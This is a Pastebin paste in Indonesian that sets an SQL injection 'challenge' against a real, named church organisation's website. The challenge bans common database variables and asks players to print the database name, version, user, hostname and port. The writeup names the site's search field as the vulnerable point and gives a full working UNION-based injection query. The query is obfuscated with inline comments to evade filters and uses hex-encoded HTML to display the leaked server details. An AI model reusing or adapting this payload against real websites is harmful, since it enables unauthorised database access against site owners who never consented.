Guest User

Untitled

a guest
Feb 26th, 2020
203
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #SQLi celeng
  2. site: gpib-imanuel-cimahi.org
  3. level: gabut
  4. rules:
  5. - Dilarang menggunakan variable
  6. -> database()
  7. -> @@database
  8. -> version()
  9. -> @@version
  10. -> user()
  11. -> @@hostname
  12. -> @@port
  13.  
  14. - print
  15. -> nick
  16. -> nama database
  17. -> versi database
  18. -> user
  19. -> hostname
  20. -> port
  21.  
  22. - share query pm pastinya
  23.  
  24. clue:
  25. - variable sql bkn itu doang
  26. - global tipi
  27.  
  28. closed
  29.  
  30. solver:
  31. - @⁨Mayat 2.7.15⁩
  32.  
  33. writeup:
  34. vuln: kolom pencarian
  35.  
  36. query:
  37. 'and/**/0/*!50000union*//**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,concat(0x3c62723e3c62723e3c7374796c653e74722c7464207b20626f726465723a31707820736f6c6964207265643b6261636b67726f756e643a20626c61636b3b207d207461626c65207b2077696474683a20313030253b20746578742d616c69676e3a2063656e7465723b20636f6c6f723a2077686974653b7d3c2f7374796c653e3c7461626c653e3c74723e3c74643e4e69636b3c2f74643e3c74643e4d6179617420322e372e31353c2f74643e3c2f74723e3c74643e44617461626173653c2f74643e3c74643e,schema(),0x3c2f74643e3c2f74723e3c74723e3c74643e56657273693c2f74643e3c74643e,@@global.version,0x3c2f74643e3c2f74723e3c74723e3c74643e757365723c2f74643e3c74643e,current_user(),0x3c2f74643e3c2f74723e3c74723e3c74643e486f73746e616d653c2f74643e3c74643e,@@global.hostname,0x3c2f74643e3c2f74723e3c74723e3c74643e706f72743c2f74643e3c74643e,@@global.port,0x3c2f74643e3c2f74723e3c2f7461626c653e),26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77`
RAW Paste Data